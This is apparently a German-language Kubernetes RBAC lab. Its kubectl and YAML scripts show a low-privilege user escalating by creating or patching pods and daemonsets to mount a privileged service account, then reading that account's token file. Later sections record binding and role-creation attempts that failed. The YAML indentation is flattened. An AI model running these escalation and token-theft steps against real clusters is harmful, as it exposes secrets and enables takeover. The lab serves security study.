Kubernetes Roles Abuse Lab

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Pod-Erstellung -> Eskalation zu ns SAs

Wir werden erstellen:

• Ein Service-Konto "test-sa" mit einer Clusterberechtigung zum Lesen von Secrets

• Eine ClusterRole "test-cr" und eine ClusterRoleBinding "test-crb" werden erstellt

• Berechtigungen zum Auflisten und Erstellen von Pods werden einem Benutzer namens "Test" gegeben

• Eine Role "test-r" und RoleBinding "test-rb" werden erstellt

• Dann werden wir bestätigen, dass das SA Secrets auflisten kann und dass der Benutzer Test Pods auflisten kann

• Schließlich werden wir den Benutzer Test impersonifizieren, um einen Pod zu erstellen, der das SA test-sa enthält und das Service-Konto Token stehlen.

• So wird gezeigt, dass der Benutzer auf diese Weise Berechtigungen eskalieren könnte

Um das Szenario zu erstellen, wird ein Administratorkonto verwendet. Darüber hinaus wird in diesem Beispiel das Administratorkonto verwendet, um innerhalb des erstellten Pods auszuführen, um das sa-Token zu exfiltrieren. Allerdings ist wie hier erklärt, die Deklaration des Pods könnte die Exfiltration des Tokens enthalten, sodass das "exec"-Recht nicht notwendig ist, um das Token zu exfiltrieren, die "create"-Berechtigung ist ausreichend.

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Daemonset erstellen

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

In diesem Fall werden wir ein Daemonset patchen, um dessen Pod unser gewünschtes Servicekonto zu laden.

Wenn Ihr Benutzer das Verb update anstelle von patch hat, wird dies nicht funktionieren.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Funktioniert nicht

Erstellen/Patchen von Bindings

Funktioniert nicht:

• Erstellen Sie ein neues RoleBinding nur mit dem Verb create

• Erstellen Sie ein neues RoleBinding nur mit dem Verb patch (Sie müssen die Bindungsberechtigungen haben)

• Sie können dies nicht tun, um die Rolle sich selbst oder einem anderen SA zuzuweisen

• Ändern Sie ein neues RoleBinding nur mit dem Verb patch (Sie müssen die Bindungsberechtigungen haben)

• Sie können dies nicht tun, um die Rolle sich selbst oder einem anderen SA zuzuweisen

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

Im Abschnitt "Verhinderung von Privilegieneskalation und Bootstrapping" von https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ wird erwähnt, dass wenn ein SA ein Binding erstellen kann und explizit Bind-Berechtigungen über die Rolle/Clusterrolle hat, es Bindings erstellen kann, selbst wenn es Rollen/Clusterrollen mit Berechtigungen verwendet, die es nicht hat. Allerdings hat es bei mir nicht funktioniert:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa

# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Arbiträre Rollen Erstellung

In diesem Beispiel versuchen wir, eine Rolle mit den Berechtigungen zum Erstellen und Pfad über die Rollenressourcen zu erstellen. K8s verhindert jedoch, dass wir eine Rolle mit mehr Berechtigungen erstellen, als der Ersteller hat:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

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